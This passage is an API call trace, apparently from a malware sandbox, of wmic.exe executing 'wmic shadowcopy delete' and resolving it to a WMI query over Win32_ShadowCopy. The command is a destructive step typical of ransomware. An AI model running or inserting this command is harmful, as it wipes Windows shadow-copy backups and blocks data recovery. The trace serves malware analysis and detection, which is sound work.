(param_1="wmiclimofformat.xsl") returned 0x13 [0055.065] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.065] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.065] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.065] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=18, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.065] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="mof.xsl") returned 0x0 [0055.065] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.065] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.065] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="wmiclimofformat", varVal2=0x0)) returned 0x0 [0055.065] SysStringLen (param_1="wmiclimofformat") returned 0xf [0055.065] SysStringLen (param_1="TABLE") returned 0x5 [0055.065] SysStringLen (param_1="wmiclimofformat") returned 0xf [0055.065] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.065] SysStringLen (param_1="wmiclimofformat") returned 0xf [0055.065] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.066] SysStringLen (param_1="wmiclimofformat") returned 0xf [0055.066] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0055.066] SysStringLen (param_1="wmiclimofformat") returned 0xf [0055.066] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0055.066] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.066] SysStringLen (param_1="wmiclimofformat") returned 0xf [0055.066] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.066] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.066] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.066] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=19, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.066] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="textvaluelist.xsl") returned 0x0 [0055.066] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.066] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.066] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="wmiclivalueformat.xsl", varVal2=0x0)) returned 0x0 [0055.067] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0055.067] SysStringLen (param_1="TABLE") returned 0x5 [0055.067] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0055.067] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.067] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0055.067] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.067] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0055.067] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0055.067] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0055.067] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0055.067] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.067] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.067] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.067] IXMLDOMNodeList:get_item (in: This=0xa48e80, index=20, listItem=0x2df8f0 | out: listItem=0x2df8f0*=0xa44b20) returned 0x0 [0055.067] IXMLDOMNode:get_text (in: This=0xa44b20, text=0x2df8f8 | out: text=0x2df8f8*="textvaluelist.xsl") returned 0x0 [0055.067] IXMLDOMNode:get_attributes (in: This=0xa44b20, attributeMap=0x2df8ec | out: attributeMap=0x2df8ec*=0xa48cf8) returned 0x0 [0055.067] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xa48cf8, name="KEYWORD", namedItem=0x2df8e8 | out: namedItem=0x2df8e8*=0xa48c98) returned 0x0 [0055.068] IXMLDOMNode:get_nodeValue (in: This=0xa48c98, value=0x2df894 | out: value=0x2df894*(varType=0x8, wReserved1=0x3c, wReserved2=0x2f40, wReserved3=0x3c, varVal1="wmiclivalueformat", varVal2=0x0)) returned 0x0 [0055.068] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0055.068] SysStringLen (param_1="TABLE") returned 0x5 [0055.068] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0055.068] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0055.068] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0055.068] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0055.068] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0055.068] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0055.068] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0055.068] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0055.068] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0055.068] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0055.068] IUnknown:Release (This=0xa44b20) returned 0x0 [0055.068] IUnknown:Release (This=0xa48cf8) returned 0x0 [0055.068] IUnknown:Release (This=0xa48c98) returned 0x0 [0055.068] IUnknown:Release (This=0xa48e80) returned 0x0 [0055.068] FreeThreadedDOMDocument:IUnknown:Release (This=0xa48c58) returned 0x1 [0055.068] FreeThreadedDOMDocument:IUnknown:Release (This=0xa44630) returned 0x0 [0055.069] GetCommandLineW () returned="wmic shadowcopy delete" [0055.069] memcpy_s (in: _Destination=0x3c3190, _DestinationSize=0x2e, _Source=0x3d1976, _SourceSize=0x2e | out: _Destination=0x3c3190) returned 0x0 [0055.069] GetLocalTime (in: lpSystemTime=0x2df8a0 | out: lpSystemTime=0x2df8a0*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x1, wDay=0xe, wHour=0x12, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x34f)) [0055.069] _vsnwprintf (in: _Buffer=0x24305b0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x2df880 | out: _Buffer="01-14-2019T18:50:46") returned 19 [0055.069] lstrlenW (lpString=" shadowcopy delete") returned 19 [0055.069] lstrlenW (lpString=" shadowcopy delete") returned 19 [0055.069] lstrlenW (lpString=" shadowcopy delete") returned 19 [0055.069] lstrlenW (lpString=" shadowcopy delete") returned 19 [0055.069] lstrlenW (lpString=" shadowcopy delete") returned 19 [0055.069] lstrlenW (lpString=" shadowcopy delete") returned 19 [0055.069] lstrlenW (lpString="shadowcopy") returned 10 [0055.069] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0055.069] lstrlenW (lpString=" shadowcopy delete") returned 19 [0055.069] lstrlenW (lpString="delete") returned 6 [0055.070] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0055.070] memmove_s (in: _Destination=0x3c2f58, _DestinationSize=0x4, _Source=0x3c3228, _SourceSize=0x4 | out: _Destination=0x3c2f58) returned 0x0 [0055.070] lstrlenW (lpString="QUIT") returned 4 [0055.070] lstrlenW (lpString="shadowcopy") returned 10 [0055.070] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0055.070] lstrlenW (lpString="EXIT") returned 4 [0055.070] lstrlenW (lpString="shadowcopy") returned 10 [0055.070] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0055.070] WbemLocator:IUnknown:AddRef (This=0xaf0828) returned 0x2 [0055.070] lstrlenW (lpString="/") returned 1 [0055.070] lstrlenW (lpString="shadowcopy") returned 10 [0055.070] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0055.070] lstrlenW (lpString="-") returned 1 [0055.070] lstrlenW (lpString="shadowcopy") returned 10 [0055.070] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0055.070] lstrlenW (lpString="CLASS") returned 5 [0055.070] lstrlenW (lpString="shadowcopy") returned 10 [0055.070] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0055.070] lstrlenW (lpString="PATH") returned 4 [0055.070] lstrlenW (lpString="shadowcopy") returned 10 [0055.070] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0055.070] lstrlenW (lpString="CONTEXT") returned 7 [0055.070] lstrlenW (lpString="shadowcopy") returned 10 [0055.070] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0055.070] lstrlenW (lpString="shadowcopy") returned 10 [0055.070] lstrlenW (lpString="shadowcopy") returned 10 [0055.071] GetCurrentThreadId () returned 0x814 [0055.071] ??0CHString@@QAE@XZ () returned 0x2df7f4 [0055.071] WbemLocator:IWbemLocator:ConnectServer (in: This=0xaf0828, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x100c1e0 | out: ppNamespace=0x100c1e0*=0xafd00c) returned 0x0 [0055.142] CoSetProxyBlanket (pProxy=0xafd00c, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0055.142] ??1CHString@@QAE@XZ () returned 0x75260504 [0055.142] GetCurrentThreadId () returned 0x814 [0055.142] ??0CHString@@QAE@XZ () returned 0x2df78c [0055.142] SysStringLen (param_1="root\\cli") returned 0x8 [0055.142] SysStringLen (param_1="\\") returned 0x1 [0055.143] SysStringLen (param_1="root\\cli\\") returned 0x9 [0055.143] SysStringLen (param_1="ms_409") returned 0x6 [0055.143] WbemLocator:IWbemLocator:ConnectServer (in: This=0xaf0828, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x100c1e4 | out: ppNamespace=0x100c1e4*=0xafd064) returned 0x0 [0055.199] ??1CHString@@QAE@XZ () returned 0x75260504 [0055.199] GetCurrentThreadId () returned 0x814 [0055.199] ??0CHString@@QAE@XZ () returned 0x2df7f8 [0055.199] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0055.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfc1f7c, cbMultiByte=-1, lpWideCharStr=0x3cfeb0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0055.200] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0055.200] SysStringLen (param_1="shadowcopy") returned 0xa [0055.200] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0055.200] SysStringLen (param_1="'") returned 0x1 [0055.200] IWbemServices:GetObject (in: This=0xafd00c, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x2df7f4*=0x0, ppCallResult=0x0 | out: ppObject=0x2df7f4*=0xb09a18, ppCallResult=0x0) returned 0x0 [0055.224] IWbemClassObject:Get (in: This=0xb09a18, wszName="Target", lFlags=0, pVal=0x2df7b4*(varType=0x0, wReserved1=0x2d, wReserved2=0xe58c, wReserved3=0xff, varVal1=0xffffffff, varVal2=0xfca03c), pType=0x0, plFlavor=0x0 | out: pVal=0x2df7b4*(varType=0x8, wReserved1=0x2d, wReserved2=0xe58c, wReserved3=0xff, varVal1="Select * from Win32_ShadowCopy", varVal2=0xfca03c), pType=0x0, plFlavor=0x0) returned 0x0 [0055.224] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0055.224] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0055.225] IWbemClassObject:Get (in: This=0xb09a18, wszName="PWhere", lFlags=0, pVal=0x2df7b4*(varType=0x0, wReserved1=0x2d, wReserved2=0xe58c, wReserved3=0xff, varVal1=0x3f4fec, varVal2=0xfca03c), pType=0x0, plFlavor=0x0 | out: pVal=0x2df7b4*(varType=0x8, wReserved1=0x2d, wReserved2=0xe58c, wReserved3=0xff, varVal1=" Where ID = '#'", varVal2=0xfca03c), pType=0x0, plFlavor=0x0) returned 0x0 [0055.225] lstrlenW (lpString=" Where ID = '#'") returned 15 [0055.225] lstrlenW (lpString=" Where ID = '#'") returned 15 [0055.225] IWbemClassObject:Get (in: This=0xb09a18, wszName="Connection", lFlags=0, pVal=0x2df7b4*(varType=0x0, wReserved1=0x2d, wReserved2=0xe58c, wReserved3=0xff, varVal1=0x4269d4, varVal2=0xfca03c), pType=0x0, plFlavor=0x0 | out: pVal=0x2df7b4*(varType=0xd, wReserved1=0x2d, wReserved2=0xe58c, wReserved3=0xff, varVal1=0xb09dd8, varVal2=0xfca03c), pType=0x0, plFlavor=0x0) returned 0x0 [0055.226] IUnknown:QueryInterface (in: This=0xb09dd8, riid=0xfc6b50*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x2df7ec | out: ppvObject=0x2df7ec*=0xb09dd8) returned 0x0 [0055.226] GetCurrentThreadId () returned 0x814 [0055.226] ??0CHString@@QAE@XZ () returned 0x2df768 [0055.226] IWbemClassObject:Get (in: This=0xb09dd8, wszName="Namespace", lFlags=0, pVal=0x2df738*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2df738*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0055.235] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0055.235] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0055.235] IWbemClassObject:Get (in: This=0xb09dd8, wszName="Locale", lFlags=0, pVal=0x2df738*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1=0x4358ac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2df738*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0055.235] lstrlenW (lpString="ms_409") returned 6 [0055.235] lstrlenW (lpString="ms_409") returned 6 [0055.235] IWbemClassObject:Get (in: This=0xb09dd8, wszName="User", lFlags=0, pVal=0x2df738*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1=0x4358ac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2df738*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1=0x4358ac, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0055.235] IWbemClassObject:Get (in: This=0xb09dd8, wszName="Password", lFlags=0, pVal=0x2df738*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1=0x4358ac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2df738*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1=0x4358ac, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0055.235] IWbemClassObject:Get (in: This=0xb09dd8, wszName="Server", lFlags=0, pVal=0x2df738*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1=0x4358ac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2df738*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0055.236] lstrlenW (lpString=".") returned 1 [0055.236] lstrlenW (lpString=".") returned 1 [0055.236] IWbemClassObject:Get (in: This=0xb09dd8, wszName="Authority", lFlags=0, pVal=0x2df738*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1=0x4358ac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2df738*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x243, varVal1=0x4358ac, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0055.236] ??1CHString@@QAE@XZ () returned 0x75260504 [0055.236] IUnknown:Release (This=0xb09dd8) returned 0x1 [0055.236] GetCurrentThreadId () returned 0x814 [0055.236] ??0CHString@@QAE@XZ () returned 0x2df760 [0055.236] IWbemClassObject:Get (in: This=0xb09a18, wszName="__RELPATH", lFlags=0, pVal=0x2df740*(varType=0x0, wReserved1=0x7518, wReserved2=0x0, wReserved3=0xaf, varVal1=0x0, varVal2=0xb09dd8), pType=0x0, plFlavor=0x0 | out: pVal=0x2df740*(varType=0x8, wReserved1=0x7518, wReserved2=0x0, wReserved3=0xaf, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0xb09dd8), pType=0x0, plFlavor=0x0) returned 0x0 [0055.236] GetCurrentThreadId () returned 0x814 [0055.236] ??0CHString@@QAE@XZ () returned 0x2df6f0 [0055.236] ??0CHString@@QAE@PBG@Z () returned 0x2df6dc [0055.236] ??0CHString@@QAE@ABV0@@Z () returned 0x2df67c [0055.236] ?Empty@CHString@@QAEXXZ () returned 0x75260510 [0055.236] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x3cff30 [0055.236] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0055.236] ?Left@CHString@@QBE?AV1@H@Z () returned 0x2df65c [0055.236] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x2df660 [0055.236] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x2df6dc [0055.236] ??1CHString@@QAE@XZ () returned 0x1 [0055.237] ??1CHString@@QAE@XZ () returned 0x1 [0055.237] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x2df658 [0055.237] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x2df67c [0055.237] ??1CHString@@QAE@XZ () returned 0x1 [0055.237] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x3cff98 [0055.237] ?Find@CHString@@QBEHPBG@Z () returned 0xa [0055.237] ?Left@CHString@@QBE?AV1@H@Z () returned 0x2df65c [0055.237] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x2df660 [0055.237] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x2df6dc [0055.237] ??1CHString@@QAE@XZ () returned 0x1 [0055.237] ??1CHString@@QAE@XZ () returned 0x1 [0055.237] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x2df658 [0055.237] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x2df67c [0055.237] ??1CHString@@QAE@XZ () returned 0x75260504 [0055.237] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x75260504 [0055.237] ??1CHString@@QAE@XZ () returned 0x75260504 [0055.237] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0055.237] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0055.237] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0055.237] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0055.238] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0055.238] SysStringLen (param_1="\"") returned 0x1 [0055.238] IWbemServices:GetObject (in: This=0xafd064, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x2df6f8*=0x0, ppCallResult=0x0 | out: ppObject=0x2df6f8*=0xb09e68, ppCallResult=0x0) returned 0x0 [0055.263] IWbemClassObject:Get (in: This=0xb09e68, wszName="Text", lFlags=0, pVal=0x2df6a4*(varType=0x0, wReserved1=0x3f, wReserved2=0x3954, wReserved3=0x3f, varVal1=0x4e, varVal2=0x100c1e0), pType=0x0, plFlavor=0x0 | out: pVal=0x2df6a4*(varType=0x2008, wReserved1=0x3f, wReserved2=0x3954, wReserved3=0x3f, varVal1=0x4184b8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x428f30, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x100c1e0), pType=0x0, plFlavor=0x0) returned 0x0 [0055.263] SafeArrayGetLBound (in: psa=0x4184b8, nDim=0x1, plLbound=0x2df6bc | out: plLbound=0x2df6bc) returned 0x0 [0055.263] SafeArrayGetUBound (in: psa=0x4184b8, nDim=0x1, plUbound=0x2df6b8 | out: plUbound=0x2df6b8) returned 0x0 [0055.263] SafeArrayGetElement (in: psa=0x4184b8, rgIndices=0x2df71c, pv=0x2df6e4 | out: pv=0x2df6e4) returned 0x0 [0055.264] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0055.264] IUnknown:Release (This=0xb09e68) returned 0x0 [0055.264] ??1CHString@@QAE@XZ () returned 0x1 [0055.264] ??1CHString@@QAE@XZ () returned 0x75260504 [0055.264] ??1CHString@@QAE@XZ () returned 0x75260504 [0055.264] lstrlenW (lpString="Shadow copy management.") returned 23 [0055.264] lstrlenW (lpString="Shadow copy management.") returned 23 [0055.264] IUnknown:Release (This=0xb09a18) returned 0x0 [0055.264] ??1CHString@@QAE@XZ () returned 0x75260504 [0055.264] lstrlenW (lpString="PATH") returned 4 [0055.264] lstrlenW (lpString="delete") returned 6 [0055.264] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0055.264] lstrlenW (lpString="WHERE") returned 5 [0055.264] lstrlenW (lpString="delete") returned 6 [0055.264] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0055.264] lstrlenW (lpString="(") returned 1 [0055.264] lstrlenW (lpString="delete") returned 6 [0055.265] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0055.265] lstrlenW (lpString="/") returned 1 [0055.265] lstrlenW (lpString="delete") returned 6 [0055.265] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0055.265] lstrlenW (lpString="-") returned 1 [0055.265] lstrlenW (lpString="delete") returned 6 [0055.265] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0055.265] lstrlenW (lpString="GET") returned 3 [0055.265] lstrlenW (lpString="delete") returned 6 [0055.265] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0055.265] lstrlenW (lpString="LIST") returned 4 [0055.265] lstrlenW (lpString="delete") returned 6 [0055.265] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0055.265] lstrlenW (lpString="SET") returned 3 [0055.265] lstrlenW (lpString="delete") returned 6 [0055.265] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0055.265] lstrlenW (lpString="CREATE") returned 6 [0055.265] lstrlenW (lpString="delete") returned 6 [0055.265] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0055.265] lstrlenW (lpString="CALL") returned 4 [0055.265] lstrlenW (lpString="delete") returned 6 [0055.265] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0055.265] lstrlenW (lpString="ASSOC") returned 5 [0055.265] lstrlenW (lpString="delete") returned 6 [0055.265] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0055.265] lstrlenW (lpString="DELETE") returned 6 [0055.265] lstrlenW (lpString="delete") returned 6 [0055.265] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0055.265] lstrlenW (lpString="/") returned 1 [0055.266] lstrlenW (lpString="delete") returned 6 [0055.266] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0055.266] lstrlenW (lpString="-") returned 1 [0055.266] lstrlenW (lpString="delete") returned 6 [0055.266] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0055.266] lstrlenW (lpString="delete") returned 6 [0055.266] lstrlenW (lpString="delete") returned 6 [0055.266] lstrlenW (lpString="GET") returned 3 [0055.266] lstrlenW (lpString="delete") returned 6 [0055.266] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0055.266] lstrlenW (lpString="LIST") returned 4 [0055.266] lstrlenW (lpString="delete") returned 6 [0055.266] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0055.266] lstrlenW (lpString="SET") returned 3 [0055.266] lstrlenW (lpString="delete") returned 6 [0055.266] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0055.266] lstrlenW (lpString="CREATE") returned 6 [0055.266] lstrlenW (lpString="delete") returned 6 [0055.266] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0055.266] lstrlenW (lpString="CALL") returned 4 [0055.266] lstrlenW (lpString="delete") returned 6 [0055.266] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0055.266] lstrlenW (lpString="ASSOC") returned 5 [0055.266] lstrlenW (lpString="delete") returned 6 [0055.266] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0055.266] lstrlenW (lpString="DELETE") returned 6 [0055.266] lstrlenW (lpString="delete") returned 6 [0055.266] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0055.266] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0055.266] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0055.267] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x285130a5 | out: _String="Select", _Context=0x285130a5) returned="Select" [0055.267] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x285130a5 | out: _String=0x0, _Context=0x285130a5) returned="*" [0055.267] lstrlenW (lpString="FROM") returned 4 [0055.267] lstrlenW (lpString="*") returned 1 [0055.267] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0055.267] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x285130a5 | out: _String=0x0, _Context=0x285130a5) returned="from" [0055.267] lstrlenW (lpString="FROM") returned 4 [0055.267] lstrlenW (lpString="from") returned 4 [0055.267] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0055.267] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x285130a5 | out: _String=0x0, _Context=0x285130a5) returned="Win32_ShadowCopy" [0055.267] lstrlenW (lpString="SET") returned 3 [0055.267] lstrlenW (lpString="delete") returned 6 [0055.268] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0055.268] lstrlenW (lpString="CREATE") returned 6 [0055.268] lstrlenW (lpString="delete") returned 6 